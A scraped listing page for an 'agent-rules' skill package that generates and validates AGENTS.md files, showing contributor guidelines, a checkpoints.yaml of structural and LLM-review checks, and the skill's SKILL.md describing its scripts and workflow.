checkpoints for verification - Provide golden samples for pattern demonstration <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START skill-design --> ## Skill design principles - **Actionable**: Tell agents WHAT to do, not just WHAT things are - **Verifiable**: Include checkpoints agents can run to verify work - **Scoped**: One skill = one domain (don't mix concerns) - **Referenced**: Point to golden samples, not generic examples - **Minimal**: Include only what agents need; avoid documentation bloat <!-- AGENTS-GENERATED:END skill-design --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Never include secrets or credentials in skills - Validate all user inputs in scripts - Use placeholder values in examples: `your-api-key`, `example.com` - Review generated content for sensitive information <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] ShellCheck passes: `shellcheck skills/*/scripts/*.sh` - [ ] SKILL.md instructions are clear and actionable - [ ] Templates use whole-line placeholders (not inline) - [ ] Golden samples exist for key patterns - [ ] Checkpoints are verifiable - [ ] plugin.json version updated if releasing <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check existing skills for patterns - Review Claude Code documentation - Test skills with `claude --skill <name>` - Check root AGENTS.md for project conventions <!-- AGENTS-GENERATED:END help --> -
checkpoints.yaml 12.5 KB
# Checkpoints for AGENTS.md verification # Ensures AGENTS.md exists, has proper structure, and stays accurate version: 1 skill_id: agents mechanical: # === FILE EXISTENCE === - id: AG-01 type: file_exists target: AGENTS.md severity: error desc: "AGENTS.md must exist in repository root" # === RECOMMENDED SECTIONS === # Note: The agents.md spec has NO required fields - these are best practices # # Accepted heading spellings come from two sources inside this skill and # nowhere else: the equivalence table in scripts/validate-structure.sh # (check_scoped_sections) and the headings the two root templates emit # (assets/root-thin.md, assets/root-verbose.md). A spelling that is only # plausible is a finding, not an equivalent. - id: AG-02 type: regex target: AGENTS.md pattern: "^#+ (.*Overview|Project|About)" severity: warning desc: "AGENTS.md should have an Overview/Project section (recommended but not required)" - id: AG-03 type: regex target: AGENTS.md # Setup group of check_scoped_sections: Setup|Environment|Prerequisites| # Getting Started (its fifth member, "Workflow files", is a scoped # github-actions section that no root file carries). # "Development Workflow" removed: root-verbose.md:69 spells a branch/PR # sequence under that heading, not environment setup. AG-06 owns it. # "Dev Environment" removed for the same reason: neither the equivalence # table nor a root template emits it, so it was a plausible-only spelling # under a rule that admits none. Adding it to check_scoped_sections # instead would loosen validate-structure.sh to make this pattern true. pattern: "^#+ (Setup|Getting Started|Prerequisites|Environment)" severity: warning desc: "AGENTS.md should have Setup/Environment section (recommended but not required)" - id: AG-04 type: regex target: AGENTS.md pattern: "^#+ (Commands|Available Commands|Useful Commands)" severity: warning desc: "AGENTS.md should have Commands section" - id: AG-05 type: regex target: AGENTS.md pattern: "^#+ (Architecture|Structure|Project Structure)" severity: warning desc: "AGENTS.md should describe project architecture" - id: AG-06 type: regex target: AGENTS.md # "Workflow" added: root-thin.md:30 emits "## Workflow" as the development # workflow section, so the canonical thin output matched only via # "Contributing". "PR/Commit Checklist" is deliberately NOT accepted here — # check_scoped_sections keeps Checklist (PR|Commit|Checklist) as a group of # its own, separate from any workflow section. # Bare "Development" removed: no source emits it, and being an unanchored # prefix it made "Development Workflow" redundant while accepting any # heading that merely starts with "Development". pattern: "^#+ (Development Workflow|Contributing|Workflow)" severity: warning desc: "AGENTS.md should have Development workflow section" - id: AG-07 type: regex target: AGENTS.md # Build/Tests group of check_scoped_sections: # Build|Tests|Running|Commands|Common patterns. "Commands" is where this # skill's own root templates and the assessed TYPO3 extensions put the test # commands, so a "## Commands" section satisfies this check. That makes # AG-07 overlap AG-04 on such files — the same shape AG-13 already has # against AG-04, and not this checkpoint's to resolve. pattern: "^#+ (Testing|Tests|Running Tests|Commands)" severity: warning desc: "AGENTS.md should have Testing section" # === FRESHNESS INDICATORS === - id: AG-08 type: regex target: AGENTS.md pattern: "(Last [Uu]pdated|Updated|Modified).*20[0-9]{2}" severity: warning desc: "AGENTS.md should have Last Updated date" # === STRUCTURE QUALITY === - id: AG-09 type: regex target: AGENTS.md pattern: "^## " severity: error desc: "AGENTS.md must use proper markdown heading structure" - id: AG-10 type: regex target: AGENTS.md pattern: "```(bash|shell|sh|yaml|json|php|typescript|javascript)" severity: warning desc: "AGENTS.md should include code blocks with language hints" # === COMMAND DOCUMENTATION === - id: AG-11 type: regex target: AGENTS.md pattern: "(composer|npm|make|ddev|docker)" severity: warning desc: "AGENTS.md should document build/run commands" # === AGENT-OPTIMIZED SECTIONS === - id: AG-13 type: regex target: AGENTS.md pattern: '^#+ Commands( \(verified[^)]*\))?' severity: warning desc: "AGENTS.md should have Commands section (optionally with '(verified)' or '(verified DATE)' suffix for trust scoring)" - id: AG-14 type: regex target: AGENTS.md pattern: "^#+ File Map" severity: info desc: "AGENTS.md should have File Map for navigation efficiency" - id: AG-15 type: regex target: AGENTS.md pattern: "^#+ (Golden Samples|Canonical Patterns)" severity: info desc: "AGENTS.md should have Golden Samples to reduce pattern guessing" - id: AG-16 type: regex target: AGENTS.md pattern: "^#+ (Utilities|Shared Utilities|Don't Reinvent)" severity: info desc: "AGENTS.md should list utilities to prevent duplicate code" - id: AG-17 type: regex target: AGENTS.md pattern: "^#+ (Heuristics|Quick Decisions|Decision Rules)" severity: info desc: "AGENTS.md should have Heuristics for autonomous decisions" - id: AG-18 type: regex target: AGENTS.md pattern: "Last verified.*20[0-9]{2}" severity: info desc: "AGENTS.md should have 'Last verified' timestamp for trust scoring" # === OUTPUT QUALITY === - id: AG-19 type: regex_not target: AGENTS.md pattern: "\\{\\{[A-Z][A-Z0-9_]*\\}\\}" severity: error desc: "AGENTS.md must not contain unresolved placeholders like {{PLACEHOLDER}}" - id: AG-20 type: regex_not target: AGENTS.md pattern: "\\{\\{[A-Z_]+\\}\\}" severity: error desc: "AGENTS.md has unresolved template placeholders - regenerate or fix template" # === IMPORTANT CONTEXT === - id: AG-12 type: regex target: AGENTS.md # "Boundaries" added: it is this skill's canonical name for the section # (assets/root-thin.md:80, assets/root-verbose.md:28, and the Root File # table in references/output-structure.md — "Boundaries | Always/Ask/Never # rules"). Without it the check failed against both of the skill's own root # templates while no template ever emits any of the six original spellings. pattern: "^#+ (Critical|Constraints|Critical Constraints|Important|Caveats|Warnings|Boundaries)" severity: info desc: "AGENTS.md should have Critical/Constraints section for important warnings" # === POINTER PRINCIPLE === - id: AG-26 type: regex target: AGENTS.md pattern: "(see |refer to |defined in |located at )[`/]" severity: info desc: "AGENTS.md should point to files rather than duplicating content (Pointer Principle)" # === LANGUAGE === - id: AG-27 type: regex target: AGENTS.md pattern: "^# " severity: error desc: "AGENTS.md must have a top-level heading in English (default language)" # === GIT HOOKS === - id: AG-29 type: command # Was type "file_exists_any" with a "paths:" list. Neither is a runner type # nor a runner key, so the runner reported this checkpoint as SKIPPED # ("Unknown checkpoint type") on every project and it never measured # anything. The same five markers as one allowlisted `test`. The four # frameworks are those in references/git-hooks-setup.md, and the husky # marker is the `.husky/` directory named in that doc's table (line 15). # Requiring `.husky/pre-commit` warned at every repo that runs Husky for # another hook, commit-msg only being the common one. Which hooks a # framework installs and what they cover is AG-30's question, not this # one's — the same reason an empty lefthook.yml satisfies this check. pattern: "test -f lefthook.yml -o -f .lefthook.yml -o -f captainhook.json -o -d .husky -o -f .pre-commit-config.yaml" severity: warning desc: "Repository should have a git hooks framework configured (lefthook, captainhook, husky or pre-commit)" # === CLAUDE CODE COMPATIBILITY === - id: AG-31 type: script severity: warning desc: "CLAUDE.md must exist when Claude Code environment detected (.claude/ directory present)" # Was type "conditional" with "check_command:" — neither is read by the # runner, so this reported SKIPPED everywhere. The old body was also # inverted: `test -d .claude && test -f CLAUDE.md` FAILS when .claude/ is # absent, which is exactly when the rule does not apply. An `if` with no # else exits 0 in that case, so a repo without .claude/ passes. command: | if test -d .claude then test -f CLAUDE.md fi tags: [claude-code, compatibility] # === SCOPED AGENTS.MD === - id: AG-28 type: regex target: AGENTS.md pattern: "\\|.*\\|" severity: info desc: "AGENTS.md should use tables for structured data (Structured over Prose principle)" llm_reviews: # === ACCURACY VERIFICATION === - id: AG-25 domain: repo-health prompt: | Verify that AGENTS.md accurately describes the actual project: 1. Check if mentioned files/directories actually exist 2. Verify mentioned commands work (check package.json scripts, composer.json scripts, Makefile targets) 3. Confirm the architecture description matches the actual codebase structure 4. Check for outdated version numbers or deprecated patterns Report specific inaccuracies with file paths and line numbers. severity: error desc: "AGENTS.md content must match actual codebase" - id: AG-21 domain: repo-health prompt: | Verify the Commands section is accurate: 1. Cross-reference with package.json "scripts", composer.json "scripts", or Makefile 2. Check that documented test commands exist 3. Verify build/install commands are correct 4. Look for undocumented important commands List any commands that are documented but don't exist, or important commands that aren't documented. severity: warning desc: "Commands section must match actual available commands" - id: AG-22 domain: repo-health prompt: | Check AGENTS.md for staleness indicators: 1. Are version numbers current? (PHP versions, Node versions, etc.) 2. Do mentioned dependencies match package.json/composer.json? 3. Are CI/CD references up to date with actual workflow files? 4. Is the "Last Updated" date recent (within last 3 months)? Report any outdated information with specific details. severity: warning desc: "AGENTS.md should be kept current with codebase changes" - id: AG-23 domain: repo-health prompt: | Evaluate AGENTS.md completeness for AI agent usage: 1. Does it explain the project purpose clearly? 2. Does it describe key entry points for understanding the code? 3. Are there warnings about gotchas or non-obvious behavior? 4. Does it explain test conventions and how to run tests? 5. Does it mention important environment variables? Rate completeness and list missing information that would help an AI agent. severity: info desc: "AGENTS.md should provide comprehensive context for AI agents" - id: AG-24 domain: repo-health prompt: | Check for drift between AGENTS.md and other documentation: 1. Compare with README.md - are they consistent? 2. Check against CONTRIBUTING.md if it exists 3. Verify consistency with inline code documentation 4. Look for contradictions between AGENTS.md and actual configs Report any inconsistencies or contradictions found. severity: warning desc: "AGENTS.md must be consistent with other documentation" - id: AG-30 domain: repo-health prompt: | Check if git hooks are properly configured and cover key quality gates: 1. Is a hook framework present (lefthook.yml, captainhook.json, .husky/, .pre-commit-config.yaml)? 2. Do hooks cover at minimum: linting/formatting and commit message validation? 3. Are hook configs consistent with CI checks (e.g., same linters run locally and in CI)? 4. If no hooks exist, flag this as a gap and recommend adding them. Report which hooks are configured, what they cover, and any gaps. severity: warning desc: "Repository should have git hooks covering linting, formatting, and commit validation" -
SKILL.md 4.8 KB
--- name: agent-rules description: "Use when creating or updating AGENTS.md files, .github/copilot-instructions.md, or other AI agent rule files, onboarding AI agents to a project, standardizing agent documentation, or when anyone mentions AGENTS.md, agent rules, project onboarding, or codebase documentation for AI agents." license: "(MIT AND CC-BY-SA-4.0). See LICENSE-MIT and LICENSE-CC-BY-SA-4.0" compatibility: "Requires bash 4.3+, jq 1.7+, git 2.0+." metadata: author: Netresearch DTT GmbH version: "3.16.2" repository: https://github.com/netresearch/agent-rules-skill allowed-tools: Bash(${CLAUDE_SKILL_DIR}/scripts/*) Bash(bash ${CLAUDE_SKILL_DIR}/scripts/*) Bash(git:*) Bash(jq:*) Bash(grep:*) Bash(find:*) Read Glob Grep --- # AGENTS.md Generator Skill Generate and maintain AGENTS.md files following the [agents.md convention](https://agents.md/). AGENTS.md is FOR AGENTS, not humans. ## When to Use - Creating or updating AGENTS.md for new/existing projects - **Scaffolding a new repository** — ship AGENTS.md with the initial commits; retrofitting later needs full re-verification - Standardizing agent documentation across repositories - Checking AGENTS.md freshness after code changes - Onboarding AI agents to an unfamiliar codebase ## Scripts Call every script by its full path: `bash ${CLAUDE_SKILL_DIR}/scripts/<name> PATH`. Calling one relative to the working directory is not covered by the frontmatter rule and raises a permission prompt per call. | Script | Purpose | |--------|---------| | `generate-agents.sh PATH` | Generate AGENTS.md files | | `validate-structure.sh PATH` | Validate structure compliance | | `check-freshness.sh PATH` | Check if files are outdated | | `verify-content.sh PATH` | Verify documented files/commands match codebase | | `verify-commands.sh PATH` | Verify documented commands execute | | `score-agents.sh PATH` | Grade AGENTS.md quality, worst-first | | `detect-project.sh PATH` | Detect language, version, build tools | | `detect-scopes.sh PATH` | Identify directories needing scoped files | | `extract-commands.sh PATH` | Extract commands from build configs | | `extract-ci-rules.sh PATH` | Extract CI quality gates and version matrix | | `extract-architecture-rules.sh PATH` | Extract module boundaries | | `extract-adrs.sh PATH` | Extract architectural decision records | | `extract-github-rulesets.sh PATH` | Extract GitHub rulesets and merge rules | See `references/scripts-guide.md` for full options. ## Workflow 1. **Detect**: `detect-project.sh` + `detect-scopes.sh` — stacks and subsystems 2. **Extract**: `extract-commands.sh`, `extract-ci-rules.sh` — gather facts 3. **Generate**: `generate-agents.sh --style=thin` (default) or `--verbose` 4. **Verify**: `verify-content.sh` + `verify-commands.sh` -- MANDATORY before done `--update` preserves curated content outside `<!-- GENERATED -->` markers. ## Core Principles - **Structured over Prose** -- tables parse faster than paragraphs - **Never Fabricate** -- only document what exists; verify every command and path - **Pointer Principle** -- point to files, don't duplicate content - **Auto Symlinks** -- CLAUDE.md/GEMINI.md by default ([`ai-tool-compatibility.md`](references/ai-tool-compatibility.md)) ## References | File | Contents | |------|----------| | [`verification-guide.md`](references/verification-guide.md) | Verification steps, anti-bloat, preservation check | | [`fleet-sync-sweep.md`](references/fleet-sync-sweep.md) | Fleet-wide AGENTS.md sweeps | | [`scripts-guide.md`](references/scripts-guide.md) | Script options, validation checklist | | [`quality-rubric.md`](references/quality-rubric.md) | Grading rubric | | [`ai-tool-compatibility.md`](references/ai-tool-compatibility.md) | 16-agent compatibility matrix | | [`output-structure.md`](references/output-structure.md) | Root/scoped sections | | [`git-hooks-setup.md`](references/git-hooks-setup.md) | Hook framework setup | | [`examples/`](references/examples/) | Complete examples | | [`ai-contribution-guidelines.md`](references/ai-contribution-guidelines.md) | "3 Cs" AI-contribution framework | | [`directory-coverage.md`](references/directory-coverage.md) | Scoped-file coverage rationale | | [`feedback-memory-schema.md`](references/feedback-memory-schema.md) | Approved-learning file format | ## Templates Root: `assets/root-thin.md` (default) or `root-verbose.md`. Scoped: `assets/scoped/`, one per stack (Go/PHP/Python/TYPO3/Symfony/Oro/CLI/TS/skill-repo). ## Supported Projects Go, PHP (Composer/Laravel/Symfony/TYPO3/Oro), TypeScript (React/Next/Vue/Node), Python (pip/poetry/ruff/mypy), skill repos, hybrid. ## See Also - [`agent-harness-skill`](https://github.com/netresearch/agent-harness-skill) — agent-readiness harness (CI enforcement). - [`skill-repo-skill`](https://github.com/netresearch/skill-repo-skill) — skill-repo structure (plugin.json, licensing, releases).
Comments (0)
Sign in to join the conversation.
Reviews (0)
No reviews yet.
No comments yet.